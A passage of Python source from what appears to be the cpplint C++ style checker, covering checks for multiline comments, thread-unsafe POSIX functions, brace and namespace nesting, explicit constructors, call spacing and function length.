figure), then splitting on \n. # To verify that the file ends in \n, we just have to make sure the # last-but-two element of lines() exists and is empty. if len(lines) < 3 or lines[-2]: error(filename, len(lines) - 2, 'whitespace/ending_newline', 5, 'Could not find a newline character at the end of the file.') def CheckForMultilineCommentsAndStrings(filename, clean_lines, linenum, error): """Logs an error if we see /* ... */ or "..." that extend past one line. /* ... */ comments are legit inside macros, for one line. Otherwise, we prefer // comments, so it's ok to warn about the other. Likewise, it's ok for strings to extend across multiple lines, as long as a line continuation character (backslash) terminates each line. Although not currently prohibited by the C++ style guide, it's ugly and unnecessary. We don't do well with either in this lint program, so we warn about both. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] # Remove all \\ (escaped backslashes) from the line. They are OK, and the # second (escaped) slash may trigger later \" detection erroneously. line = line.replace('\\\\', '') if line.count('/*') > line.count('*/'): error(filename, linenum, 'readability/multiline_comment', 5, 'Complex multi-line /*...*/-style comment found. ' 'Lint may give bogus warnings. ' 'Consider replacing these with //-style comments, ' 'with #if 0...#endif, ' 'or with more clearly structured multi-line comments.') if (line.count('"') - line.count('\\"')) % 2: error(filename, linenum, 'readability/multiline_string', 5, 'Multi-line string ("...") found. This lint script doesn\'t ' 'do well with such strings, and may give bogus warnings. ' 'Use C++11 raw strings or concatenation instead.') # (non-threadsafe name, thread-safe alternative, validation pattern) # # The validation pattern is used to eliminate false positives such as: # _rand(); // false positive due to substring match. # ->rand(); // some member function rand(). # ACMRandom rand(seed); // some variable named rand. # ISAACRandom rand(); // another variable named rand. # # Basically we require the return value of these functions to be used # in some expression context on the same line by matching on some # operator before the function name. This eliminates constructors and # member function calls. _UNSAFE_FUNC_PREFIX = r'(?:[-+*/=%^&|(<]\s*|>\s+)' _THREADING_LIST = ( ('asctime(', 'asctime_r(', _UNSAFE_FUNC_PREFIX + r'asctime\([^)]+\)'), ('ctime(', 'ctime_r(', _UNSAFE_FUNC_PREFIX + r'ctime\([^)]+\)'), ('getgrgid(', 'getgrgid_r(', _UNSAFE_FUNC_PREFIX + r'getgrgid\([^)]+\)'), ('getgrnam(', 'getgrnam_r(', _UNSAFE_FUNC_PREFIX + r'getgrnam\([^)]+\)'), ('getlogin(', 'getlogin_r(', _UNSAFE_FUNC_PREFIX + r'getlogin\(\)'), ('getpwnam(', 'getpwnam_r(', _UNSAFE_FUNC_PREFIX + r'getpwnam\([^)]+\)'), ('getpwuid(', 'getpwuid_r(', _UNSAFE_FUNC_PREFIX + r'getpwuid\([^)]+\)'), ('gmtime(', 'gmtime_r(', _UNSAFE_FUNC_PREFIX + r'gmtime\([^)]+\)'), ('localtime(', 'localtime_r(', _UNSAFE_FUNC_PREFIX + r'localtime\([^)]+\)'), ('rand(', 'rand_r(', _UNSAFE_FUNC_PREFIX + r'rand\(\)'), ('strtok(', 'strtok_r(', _UNSAFE_FUNC_PREFIX + r'strtok\([^)]+\)'), ('ttyname(', 'ttyname_r(', _UNSAFE_FUNC_PREFIX + r'ttyname\([^)]+\)'), ) def CheckPosixThreading(filename, clean_lines, linenum, error): """Checks for calls to thread-unsafe functions. Much code has been originally written without consideration of multi-threading. Also, engineers are relying on their old experience; they have learned posix before threading extensions were added. These tests guide the engineers to use thread-safe functions (when using posix directly). Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] for single_thread_func, multithread_safe_func, pattern in _THREADING_LIST: # Additional pattern matching check to confirm that this is the # function we are looking for if Search(pattern, line): error(filename, linenum, 'runtime/threadsafe_fn', 2, 'Consider using ' + multithread_safe_func + '...) instead of ' + single_thread_func + '...) for improved thread safety.') def CheckVlogArguments(filename, clean_lines, linenum, error): """Checks that VLOG() is only used for defining a logging level. For example, VLOG(2) is correct. VLOG(INFO), VLOG(WARNING), VLOG(ERROR), and VLOG(FATAL) are not. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] if Search(r'\bVLOG\((INFO|ERROR|WARNING|DFATAL|FATAL)\)', line): error(filename, linenum, 'runtime/vlog', 5, 'VLOG() should be used with numeric verbosity level. ' 'Use LOG() if you want symbolic severity levels.') # Matches invalid increment: *count++, which moves pointer instead of # incrementing a value. _RE_PATTERN_INVALID_INCREMENT = re.compile( r'^\s*\*\w+(\+\+|--);') def CheckInvalidIncrement(filename, clean_lines, linenum, error): """Checks for invalid increment *count++. For example following function: void increment_counter(int* count) { *count++; } is invalid, because it effectively does count++, moving pointer, and should be replaced with ++*count, (*count)++ or *count += 1. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] if _RE_PATTERN_INVALID_INCREMENT.match(line): error(filename, linenum, 'runtime/invalid_increment', 5, 'Changing pointer instead of value (or unused value of operator*).') def IsMacroDefinition(clean_lines, linenum): if Search(r'^#define', clean_lines[linenum]): return True if linenum > 0 and Search(r'\\$', clean_lines[linenum - 1]): return True return False def IsForwardClassDeclaration(clean_lines, linenum): return Match(r'^\s*(\btemplate\b)*.*class\s+\w+;\s*$', clean_lines[linenum]) class _BlockInfo(object): """Stores information about a generic block of code.""" def __init__(self, seen_open_brace): self.seen_open_brace = seen_open_brace self.open_parentheses = 0 self.inline_asm = _NO_ASM self.check_namespace_indentation = False def CheckBegin(self, filename, clean_lines, linenum, error): """Run checks that applies to text up to the opening brace. This is mostly for checking the text after the class identifier and the "{", usually where the base class is specified. For other blocks, there isn't much to check, so we always pass. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ pass def CheckEnd(self, filename, clean_lines, linenum, error): """Run checks that applies to text after the closing brace. This is mostly used for checking end of namespace comments. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ pass def IsBlockInfo(self): """Returns true if this block is a _BlockInfo. This is convenient for verifying that an object is an instance of a _BlockInfo, but not an instance of any of the derived classes. Returns: True for this class, False for derived classes. """ return self.__class__ == _BlockInfo class _ExternCInfo(_BlockInfo): """Stores information about an 'extern "C"' block.""" def __init__(self): _BlockInfo.__init__(self, True) class _ClassInfo(_BlockInfo): """Stores information about a class.""" def __init__(self, name, class_or_struct, clean_lines, linenum): _BlockInfo.__init__(self, False) self.name = name self.starting_linenum = linenum self.is_derived = False self.check_namespace_indentation = True if class_or_struct == 'struct': self.access = 'public' self.is_struct = True else: self.access = 'private' self.is_struct = False # Remember initial indentation level for this class. Using raw_lines here # instead of elided to account for leading comments. self.class_indent = GetIndentLevel(clean_lines.raw_lines[linenum]) # Try to find the end of the class. This will be confused by things like: # class A { # } *x = { ... # # But it's still good enough for CheckSectionSpacing. self.last_line = 0 depth = 0 for i in range(linenum, clean_lines.NumLines()): line = clean_lines.elided[i] depth += line.count('{') - line.count('}') if not depth: self.last_line = i break def CheckBegin(self, filename, clean_lines, linenum, error): # Look for a bare ':' if Search('(^|[^:]):($|[^:])', clean_lines.elided[linenum]): self.is_derived = True def CheckEnd(self, filename, clean_lines, linenum, error): # If there is a DISALLOW macro, it should appear near the end of # the class. seen_last_thing_in_class = False for i in xrange(linenum - 1, self.starting_linenum, -1): match = Search( r'\b(DISALLOW_COPY_AND_ASSIGN|DISALLOW_IMPLICIT_CONSTRUCTORS)\(' + self.name + r'\)', clean_lines.elided[i]) if match: if seen_last_thing_in_class: error(filename, i, 'readability/constructors', 3, match.group(1) + ' should be the last thing in the class') break if not Match(r'^\s*$', clean_lines.elided[i]): seen_last_thing_in_class = True # Check that closing brace is aligned with beginning of the class. # Only do this if the closing brace is indented by only whitespaces. # This means we will not check single-line class definitions. indent = Match(r'^( *)\}', clean_lines.elided[linenum]) if indent and len(indent.group(1)) != self.class_indent: if self.is_struct: parent = 'struct ' + self.name else: parent = 'class ' + self.name error(filename, linenum, 'whitespace/indent', 3, 'Closing brace should be aligned with beginning of %s' % parent) class _NamespaceInfo(_BlockInfo): """Stores information about a namespace.""" def __init__(self, name, linenum): _BlockInfo.__init__(self, False) self.name = name or '' self.starting_linenum = linenum self.check_namespace_indentation = True def CheckEnd(self, filename, clean_lines, linenum, error): """Check end of namespace comments.""" line = clean_lines.raw_lines[linenum] # Check how many lines is enclosed in this namespace. Don't issue # warning for missing namespace comments if there aren't enough # lines. However, do apply checks if there is already an end of # namespace comment and it's incorrect. # # TODO(unknown): We always want to check end of namespace comments # if a namespace is large, but sometimes we also want to apply the # check if a short namespace contained nontrivial things (something # other than forward declarations). There is currently no logic on # deciding what these nontrivial things are, so this check is # triggered by namespace size only, which works most of the time. if (linenum - self.starting_linenum < 10 and not Match(r'};*\s*(//|/\*).*\bnamespace\b', line)): return # Look for matching comment at end of namespace. # # Note that we accept C style "/* */" comments for terminating # namespaces, so that code that terminate namespaces inside # preprocessor macros can be cpplint clean. # # We also accept stuff like "// end of namespace <name>." with the # period at the end. # # Besides these, we don't accept anything else, otherwise we might # get false negatives when existing comment is a substring of the # expected namespace. if self.name: # Named namespace if not Match((r'};*\s*(//|/\*).*\bnamespace\s+' + re.escape(self.name) + r'[\*/\.\\\s]*$'), line): error(filename, linenum, 'readability/namespace', 5, 'Namespace should be terminated with "// namespace %s"' % self.name) else: # Anonymous namespace if not Match(r'};*\s*(//|/\*).*\bnamespace[\*/\.\\\s]*$', line): # If "// namespace anonymous" or "// anonymous namespace (more text)", # mention "// anonymous namespace" as an acceptable form if Match(r'}.*\b(namespace anonymous|anonymous namespace)\b', line): error(filename, linenum, 'readability/namespace', 5, 'Anonymous namespace should be terminated with "// namespace"' ' or "// anonymous namespace"') else: error(filename, linenum, 'readability/namespace', 5, 'Anonymous namespace should be terminated with "// namespace"') class _PreprocessorInfo(object): """Stores checkpoints of nesting stacks when #if/#else is seen.""" def __init__(self, stack_before_if): # The entire nesting stack before #if self.stack_before_if = stack_before_if # The entire nesting stack up to #else self.stack_before_else = [] # Whether we have already seen #else or #elif self.seen_else = False class NestingState(object): """Holds states related to parsing braces.""" def __init__(self): # Stack for tracking all braces. An object is pushed whenever we # see a "{", and popped when we see a "}". Only 3 types of # objects are possible: # - _ClassInfo: a class or struct. # - _NamespaceInfo: a namespace. # - _BlockInfo: some other type of block. self.stack = [] # Top of the previous stack before each Update(). # # Because the nesting_stack is updated at the end of each line, we # had to do some convoluted checks to find out what is the current # scope at the beginning of the line. This check is simplified by # saving the previous top of nesting stack. # # We could save the full stack, but we only need the top. Copying # the full nesting stack would slow down cpplint by ~10%. self.previous_stack_top = [] # Stack of _PreprocessorInfo objects. self.pp_stack = [] def SeenOpenBrace(self): """Check if we have seen the opening brace for the innermost block. Returns: True if we have seen the opening brace, False if the innermost block is still expecting an opening brace. """ return (not self.stack) or self.stack[-1].seen_open_brace def InNamespaceBody(self): """Check if we are currently one level inside a namespace body. Returns: True if top of the stack is a namespace block, False otherwise. """ return self.stack and isinstance(self.stack[-1], _NamespaceInfo) def InExternC(self): """Check if we are currently one level inside an 'extern "C"' block. Returns: True if top of the stack is an extern block, False otherwise. """ return self.stack and isinstance(self.stack[-1], _ExternCInfo) def InClassDeclaration(self): """Check if we are currently one level inside a class or struct declaration. Returns: True if top of the stack is a class/struct, False otherwise. """ return self.stack and isinstance(self.stack[-1], _ClassInfo) def InAsmBlock(self): """Check if we are currently one level inside an inline ASM block. Returns: True if the top of the stack is a block containing inline ASM. """ return self.stack and self.stack[-1].inline_asm != _NO_ASM def InTemplateArgumentList(self, clean_lines, linenum, pos): """Check if current position is inside template argument list. Args: clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. pos: position just after the suspected template argument. Returns: True if (linenum, pos) is inside template arguments. """ while linenum < clean_lines.NumLines(): # Find the earliest character that might indicate a template argument line = clean_lines.elided[linenum] match = Match(r'^[^{};=\[\]\.<>]*(.)', line[pos:]) if not match: linenum += 1 pos = 0 continue token = match.group(1) pos += len(match.group(0)) # These things do not look like template argument list: # class Suspect { # class Suspect x; } if token in ('{', '}', ';'): return False # These things look like template argument list: # template <class Suspect> # template <class Suspect = default_value> # template <class Suspect[]> # template <class Suspect...> if token in ('>', '=', '[', ']', '.'): return True # Check if token is an unmatched '<'. # If not, move on to the next character. if token != '<': pos += 1 if pos >= len(line): linenum += 1 pos = 0 continue # We can't be sure if we just find a single '<', and need to # find the matching '>'. (_, end_line, end_pos) = CloseExpression(clean_lines, linenum, pos - 1) if end_pos < 0: # Not sure if template argument list or syntax error in file return False linenum = end_line pos = end_pos return False def UpdatePreprocessor(self, line): """Update preprocessor stack. We need to handle preprocessors due to classes like this: #ifdef SWIG struct ResultDetailsPageElementExtensionPoint { #else struct ResultDetailsPageElementExtensionPoint : public Extension { #endif We make the following assumptions (good enough for most files): - Preprocessor condition evaluates to true from #if up to first #else/#elif/#endif. - Preprocessor condition evaluates to false from #else/#elif up to #endif. We still perform lint checks on these lines, but these do not affect nesting stack. Args: line: current line to check. """ if Match(r'^\s*#\s*(if|ifdef|ifndef)\b', line): # Beginning of #if block, save the nesting stack here. The saved # stack will allow us to restore the parsing state in the #else case. self.pp_stack.append(_PreprocessorInfo(copy.deepcopy(self.stack))) elif Match(r'^\s*#\s*(else|elif)\b', line): # Beginning of #else block if self.pp_stack: if not self.pp_stack[-1].seen_else: # This is the first #else or #elif block. Remember the # whole nesting stack up to this point. This is what we # keep after the #endif. self.pp_stack[-1].seen_else = True self.pp_stack[-1].stack_before_else = copy.deepcopy(self.stack) # Restore the stack to how it was before the #if self.stack = copy.deepcopy(self.pp_stack[-1].stack_before_if) else: # TODO(unknown): unexpected #else, issue warning? pass elif Match(r'^\s*#\s*endif\b', line): # End of #if or #else blocks. if self.pp_stack: # If we saw an #else, we will need to restore the nesting # stack to its former state before the #else, otherwise we # will just continue from where we left off. if self.pp_stack[-1].seen_else: # Here we can just use a shallow copy since we are the last # reference to it. self.stack = self.pp_stack[-1].stack_before_else # Drop the corresponding #if self.pp_stack.pop() else: # TODO(unknown): unexpected #endif, issue warning? pass # TODO(unknown): Update() is too long, but we will refactor later. def Update(self, filename, clean_lines, linenum, error): """Update nesting state with current line. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] # Remember top of the previous nesting stack. # # The stack is always pushed/popped and not modified in place, so # we can just do a shallow copy instead of copy.deepcopy. Using # deepcopy would slow down cpplint by ~28%. if self.stack: self.previous_stack_top = self.stack[-1] else: self.previous_stack_top = None # Update pp_stack self.UpdatePreprocessor(line) # Count parentheses. This is to avoid adding struct arguments to # the nesting stack. if self.stack: inner_block = self.stack[-1] depth_change = line.count('(') - line.count(')') inner_block.open_parentheses += depth_change # Also check if we are starting or ending an inline assembly block. if inner_block.inline_asm in (_NO_ASM, _END_ASM): if (depth_change != 0 and inner_block.open_parentheses == 1 and _MATCH_ASM.match(line)): # Enter assembly block inner_block.inline_asm = _INSIDE_ASM else: # Not entering assembly block. If previous line was _END_ASM, # we will now shift to _NO_ASM state. inner_block.inline_asm = _NO_ASM elif (inner_block.inline_asm == _INSIDE_ASM and inner_block.open_parentheses == 0): # Exit assembly block inner_block.inline_asm = _END_ASM # Consume namespace declaration at the beginning of the line. Do # this in a loop so that we catch same line declarations like this: # namespace proto2 { namespace bridge { class MessageSet; } } while True: # Match start of namespace. The "\b\s*" below catches namespace # declarations even if it weren't followed by a whitespace, this # is so that we don't confuse our namespace checker. The # missing spaces will be flagged by CheckSpacing. namespace_decl_match = Match(r'^\s*namespace\b\s*([:\w]+)?(.*)$', line) if not namespace_decl_match: break new_namespace = _NamespaceInfo(namespace_decl_match.group(1), linenum) self.stack.append(new_namespace) line = namespace_decl_match.group(2) if line.find('{') != -1: new_namespace.seen_open_brace = True line = line[line.find('{') + 1:] # Look for a class declaration in whatever is left of the line # after parsing namespaces. The regexp accounts for decorated classes # such as in: # class LOCKABLE API Object { # }; class_decl_match = Match( r'^(\s*(?:template\s*<[\w\s<>,:]*>\s*)?' r'(class|struct)\s+(?:[A-Z_]+\s+)*(\w+(?:::\w+)*))' r'(.*)$', line) if (class_decl_match and (not self.stack or self.stack[-1].open_parentheses == 0)): # We do not want to accept classes that are actually template arguments: # template <class Ignore1, # class Ignore2 = Default<Args>, # template <Args> class Ignore3> # void Function() {}; # # To avoid template argument cases, we scan forward and look for # an unmatched '>'. If we see one, assume we are inside a # template argument list. end_declaration = len(class_decl_match.group(1)) if not self.InTemplateArgumentList(clean_lines, linenum, end_declaration): self.stack.append(_ClassInfo( class_decl_match.group(3), class_decl_match.group(2), clean_lines, linenum)) line = class_decl_match.group(4) # If we have not yet seen the opening brace for the innermost block, # run checks here. if not self.SeenOpenBrace(): self.stack[-1].CheckBegin(filename, clean_lines, linenum, error) # Update access control if we are inside a class/struct if self.stack and isinstance(self.stack[-1], _ClassInfo): classinfo = self.stack[-1] access_match = Match( r'^(.*)\b(public|private|protected|signals)(\s+(?:slots\s*)?)?' r':(?:[^:]|$)', line) if access_match: classinfo.access = access_match.group(2) # Check that access keywords are indented +1 space. Skip this # check if the keywords are not preceded by whitespaces. indent = access_match.group(1) if (len(indent) != classinfo.class_indent + 1 and Match(r'^\s*$', indent)): if classinfo.is_struct: parent = 'struct ' + classinfo.name else: parent = 'class ' + classinfo.name slots = '' if access_match.group(3): slots = access_match.group(3) error(filename, linenum, 'whitespace/indent', 3, '%s%s: should be indented +1 space inside %s' % ( access_match.group(2), slots, parent)) # Consume braces or semicolons from what's left of the line while True: # Match first brace, semicolon, or closed parenthesis. matched = Match(r'^[^{;)}]*([{;)}])(.*)$', line) if not matched: break token = matched.group(1) if token == '{': # If namespace or class hasn't seen a opening brace yet, mark # namespace/class head as complete. Push a new block onto the # stack otherwise. if not self.SeenOpenBrace(): self.stack[-1].seen_open_brace = True elif Match(r'^extern\s*"[^"]*"\s*\{', line): self.stack.append(_ExternCInfo()) else: self.stack.append(_BlockInfo(True)) if _MATCH_ASM.match(line): self.stack[-1].inline_asm = _BLOCK_ASM elif token == ';' or token == ')': # If we haven't seen an opening brace yet, but we already saw # a semicolon, this is probably a forward declaration. Pop # the stack for these. # # Similarly, if we haven't seen an opening brace yet, but we # already saw a closing parenthesis, then these are probably # function arguments with extra "class" or "struct" keywords. # Also pop these stack for these. if not self.SeenOpenBrace(): self.stack.pop() else: # token == '}' # Perform end of block checks and pop the stack. if self.stack: self.stack[-1].CheckEnd(filename, clean_lines, linenum, error) self.stack.pop() line = matched.group(2) def InnermostClass(self): """Get class info on the top of the stack. Returns: A _ClassInfo object if we are inside a class, or None otherwise. """ for i in range(len(self.stack), 0, -1): classinfo = self.stack[i - 1] if isinstance(classinfo, _ClassInfo): return classinfo return None def CheckCompletedBlocks(self, filename, error): """Checks that all classes and namespaces have been completely parsed. Call this when all lines in a file have been processed. Args: filename: The name of the current file. error: The function to call with any errors found. """ # Note: This test can result in false positives if #ifdef constructs # get in the way of brace matching. See the testBuildClass test in # cpplint_unittest.py for an example of this. for obj in self.stack: if isinstance(obj, _ClassInfo): error(filename, obj.starting_linenum, 'build/class', 5, 'Failed to find complete declaration of class %s' % obj.name) elif isinstance(obj, _NamespaceInfo): error(filename, obj.starting_linenum, 'build/namespaces', 5, 'Failed to find complete declaration of namespace %s' % obj.name) def CheckForNonStandardConstructs(filename, clean_lines, linenum, nesting_state, error): r"""Logs an error if we see certain non-ANSI constructs ignored by gcc-2. Complain about several constructs which gcc-2 accepts, but which are not standard C++. Warning about these in lint is one way to ease the transition to new compilers. - put storage class first (e.g. "static const" instead of "const static"). - "%lld" instead of %qd" in printf-type functions. - "%1$d" is non-standard in printf-type functions. - "\%" is an undefined character escape sequence. - text after #endif is not allowed. - invalid inner-style forward declaration. - >? and <? operators, and their >?= and <?= cousins. Additionally, check for constructor/destructor style violations and reference members, as it is very convenient to do so while checking for gcc-2 compliance. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. nesting_state: A NestingState instance which maintains information about the current stack of nested blocks being parsed. error: A callable to which errors are reported, which takes 4 arguments: filename, line number, error level, and message """ # Remove comments from the line, but leave in strings for now. line = clean_lines.lines[linenum] if Search(r'printf\s*\(.*".*%[-+ ]?\d*q', line): error(filename, linenum, 'runtime/printf_format', 3, '%q in format strings is deprecated. Use %ll instead.') if Search(r'printf\s*\(.*".*%\d+\$', line): error(filename, linenum, 'runtime/printf_format', 2, '%N$ formats are unconventional. Try rewriting to avoid them.') # Remove escaped backslashes before looking for undefined escapes. line = line.replace('\\\\', '') if Search(r'("|\').*\\(%|\[|\(|{)', line): error(filename, linenum, 'build/printf_format', 3, '%, [, (, and { are undefined character escapes. Unescape them.') # For the rest, work with both comments and strings removed. line = clean_lines.elided[linenum] if Search(r'\b(const|volatile|void|char|short|int|long' r'|float|double|signed|unsigned' r'|schar|u?int8|u?int16|u?int32|u?int64)' r'\s+(register|static|extern|typedef)\b', line): error(filename, linenum, 'build/storage_class', 5, 'Storage class (static, extern, typedef, etc) should be first.') if Match(r'\s*#\s*endif\s*[^/\s]+', line): error(filename, linenum, 'build/endif_comment', 5, 'Uncommented text after #endif is non-standard. Use a comment.') if Match(r'\s*class\s+(\w+\s*::\s*)+\w+\s*;', line): error(filename, linenum, 'build/forward_decl', 5, 'Inner-style forward declarations are invalid. Remove this line.') if Search(r'(\w+|[+-]?\d+(\.\d*)?)\s*(<|>)\?=?\s*(\w+|[+-]?\d+)(\.\d*)?', line): error(filename, linenum, 'build/deprecated', 3, '>? and <? (max and min) operators are non-standard and deprecated.') if Search(r'^\s*const\s*string\s*&\s*\w+\s*;', line): # TODO(unknown): Could it be expanded safely to arbitrary references, # without triggering too many false positives? The first # attempt triggered 5 warnings for mostly benign code in the regtest, hence # the restriction. # Here's the original regexp, for the reference: # type_name = r'\w+((\s*::\s*\w+)|(\s*<\s*\w+?\s*>))?' # r'\s*const\s*' + type_name + '\s*&\s*\w+\s*;' error(filename, linenum, 'runtime/member_string_references', 2, 'const string& members are dangerous. It is much better to use ' 'alternatives, such as pointers or simple constants.') # Everything else in this function operates on class declarations. # Return early if the top of the nesting stack is not a class, or if # the class head is not completed yet. classinfo = nesting_state.InnermostClass() if not classinfo or not classinfo.seen_open_brace: return # The class may have been declared with namespace or classname qualifiers. # The constructor and destructor will not have those qualifiers. base_classname = classinfo.name.split('::')[-1] # Look for single-argument constructors that aren't marked explicit. # Technically a valid construct, but against style. Also look for # non-single-argument constructors which are also technically valid, but # strongly suggest something is wrong. explicit_constructor_match = Match( r'\s+(?:inline\s+)?(explicit\s+)?(?:inline\s+)?%s\s*' r'\(((?:[^()]|\([^()]*\))*)\)' % re.escape(base_classname), line) if explicit_constructor_match: is_marked_explicit = explicit_constructor_match.group(1) if not explicit_constructor_match.group(2): constructor_args = [] else: constructor_args = explicit_constructor_match.group(2).split(',') # collapse arguments so that commas in template parameter lists and function # argument parameter lists don't split arguments in two i = 0 while i < len(constructor_args): constructor_arg = constructor_args[i] while (constructor_arg.count('<') > constructor_arg.count('>') or constructor_arg.count('(') > constructor_arg.count(')')): constructor_arg += ',' + constructor_args[i + 1] del constructor_args[i + 1] constructor_args[i] = constructor_arg i += 1 defaulted_args = [arg for arg in constructor_args if '=' in arg] noarg_constructor = (not constructor_args or # empty arg list # 'void' arg specifier (len(constructor_args) == 1 and constructor_args[0].strip() == 'void')) onearg_constructor = ((len(constructor_args) == 1 and # exactly one arg not noarg_constructor) or # all but at most one arg defaulted (len(constructor_args) >= 1 and not noarg_constructor and len(defaulted_args) >= len(constructor_args) - 1)) initializer_list_constructor = bool( onearg_constructor and Search(r'\bstd\s*::\s*initializer_list\b', constructor_args[0])) copy_constructor = bool( onearg_constructor and Match(r'(const\s+)?%s(\s*<[^>]*>)?(\s+const)?\s*(?:<\w+>\s*)?&' % re.escape(base_classname), constructor_args[0].strip())) if (not is_marked_explicit and onearg_constructor and not initializer_list_constructor and not copy_constructor): if defaulted_args: error(filename, linenum, 'runtime/explicit', 5, 'Constructors callable with one argument ' 'should be marked explicit.') else: error(filename, linenum, 'runtime/explicit', 5, 'Single-parameter constructors should be marked explicit.') elif is_marked_explicit and not onearg_constructor: if noarg_constructor: error(filename, linenum, 'runtime/explicit', 5, 'Zero-parameter constructors should not be marked explicit.') else: error(filename, linenum, 'runtime/explicit', 0, 'Constructors that require multiple arguments ' 'should not be marked explicit.') def CheckSpacingForFunctionCall(filename, clean_lines, linenum, error): """Checks for the correctness of various spacing around function calls. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] # Since function calls often occur inside if/for/while/switch # expressions - which have their own, more liberal conventions - we # first see if we should be looking inside such an expression for a # function call, to which we can apply more strict standards. fncall = line # if there's no control flow construct, look at whole line for pattern in (r'\bif\s*\((.*)\)\s*{', r'\bfor\s*\((.*)\)\s*{', r'\bwhile\s*\((.*)\)\s*[{;]', r'\bswitch\s*\((.*)\)\s*{'): match = Search(pattern, line) if match: fncall = match.group(1) # look inside the parens for function calls break # Except in if/for/while/switch, there should never be space # immediately inside parens (eg "f( 3, 4 )"). We make an exception # for nested parens ( (a+b) + c ). Likewise, there should never be # a space before a ( when it's a function argument. I assume it's a # function argument when the char before the whitespace is legal in # a function name (alnum + _) and we're not starting a macro. Also ignore # pointers and references to arrays and functions coz they're too tricky: # we use a very simple way to recognize these: # " (something)(maybe-something)" or # " (something)(maybe-something," or # " (something)[something]" # Note that we assume the contents of [] to be short enough that # they'll never need to wrap. if ( # Ignore control structures. not Search(r'\b(if|for|while|switch|return|new|delete|catch|sizeof)\b', fncall) and # Ignore pointers/references to functions. not Search(r' \([^)]+\)\([^)]*(\)|,$)', fncall) and # Ignore pointers/references to arrays. not Search(r' \([^)]+\)\[[^\]]+\]', fncall)): if Search(r'\w\s*\(\s(?!\s*\\$)', fncall): # a ( used for a fn call error(filename, linenum, 'whitespace/parens', 4, 'Extra space after ( in function call') elif Search(r'\(\s+(?!(\s*\\)|\()', fncall): error(filename, linenum, 'whitespace/parens', 2, 'Extra space after (') if (Search(r'\w\s+\(', fncall) and not Search(r'#\s*define|typedef|using\s+\w+\s*=', fncall) and not Search(r'\w\s+\((\w+::)*\*\w+\)\(', fncall) and not Search(r'\bcase\s+\(', fncall)): # TODO(unknown): Space after an operator function seem to be a common # error, silence those for now by restricting them to highest verbosity. if Search(r'\boperator_*\b', line): error(filename, linenum, 'whitespace/parens', 0, 'Extra space before ( in function call') else: error(filename, linenum, 'whitespace/parens', 4, 'Extra space before ( in function call') # If the ) is followed only by a newline or a { + newline, assume it's # part of a control statement (if/while/etc), and don't complain if Search(r'[^)]\s+\)\s*[^{\s]', fncall): # If the closing parenthesis is preceded by only whitespaces, # try to give a more descriptive error message. if Search(r'^\s+\)', fncall): error(filename, linenum, 'whitespace/parens', 2, 'Closing ) should be moved to the previous line') else: error(filename, linenum, 'whitespace/parens', 2, 'Extra space before )') def IsBlankLine(line): """Returns true if the given line is blank. We consider a line to be blank if the line is empty or consists of only white spaces. Args: line: A line of a string. Returns: True, if the given line is blank. """ return not line or line.isspace() def CheckForNamespaceIndentation(filename, nesting_state, clean_lines, line, error): is_namespace_indent_item = ( len(nesting_state.stack) > 1 and nesting_state.stack[-1].check_namespace_indentation and isinstance(nesting_state.previous_stack_top, _NamespaceInfo) and nesting_state.previous_stack_top == nesting_state.stack[-2]) if ShouldCheckNamespaceIndentation(nesting_state, is_namespace_indent_item, clean_lines.elided, line): CheckItemIndentationInNamespace(filename, clean_lines.elided, line, error) def CheckForFunctionLengths(filename, clean_lines, linenum, function_state, error): """Reports for long function bodies. For an overview why this is done, see: http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml#Write_Short_Functions Uses a simplistic algorithm assuming other style guidelines (especially spacing) are followed. Only checks unindented functions, so class members are unchecked. Trivial bodies are unchecked, so constructors with huge initializer lists may be missed. Blank/comment lines are not counted so as to avoid encouraging the removal of vertical space and comments just to get through a lint check. NOLINT *on the last line of a function* disables this check. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. function_state: Current function name and lines in body so far. error: The function to call with any errors found. """ lines = clean_lines.lines line = lines[linenum] joined_line = '' starting_func = False regexp = r'(\w(\w|::|\*|\&|\s)*)\(' # decls * & space::name( ... match_result = Match(regexp, line) if match_result: # If the name is all caps and underscores, figure it's a macro and # ignore it, unless it's TEST or TEST_F. function_name = match_result.group(1).split()[-1] if function_name == 'TEST' or function_name == 'TEST_F' or ( not Match(r'[A-Z_]+$', function_name)): starting_func = True if starting_func: body_found = False for start_linenum in range(linenum, clean_lines.NumLines()): start_line = lines[start_linenum] joined_line += ' ' + start_line.lstrip() if Search(r'(;|})', start_line): # Declarations and trivial functions body_found = True break # ... ignore elif Search(r'{', start_line): body_found = True function = Search(r'((\w|:)*)\(', line).group(1) if Match(r'TEST', function): # Handle TEST... macros parameter_regexp = Search(r'(\(.*\))', joined_line) if parameter_regexp: # Ignore bad syntax function += parameter_regexp.group(1) else: function += '()' function_state.Begin(function) break if not body_found: # No body for the function (or evidence of a non-function) was found. error(filename, linenum, 'readability/fn_size', 5, 'Lint failed to find start of function body.') elif Match(r'^\}\s*$', line): # function end function_state.Check(error, filename, linenum) function_state.End() elif not Match(r'^\s*$', line): function_state.Count() # Count non-blank/non-comment lines. _RE_PATTERN_TODO = re.compile(r'^//(\s*)TODO(\(.+?\))?:?(\s|$)?') def CheckComment(line, filename, linenum, next_line_start, error): """Checks for common mistakes in comments. Args: line: The line in question. filename: The name of the current file. linenum: The number of the line to check. next_line_start: The first non-whitespace column of the next line. error: The function to call with any errors 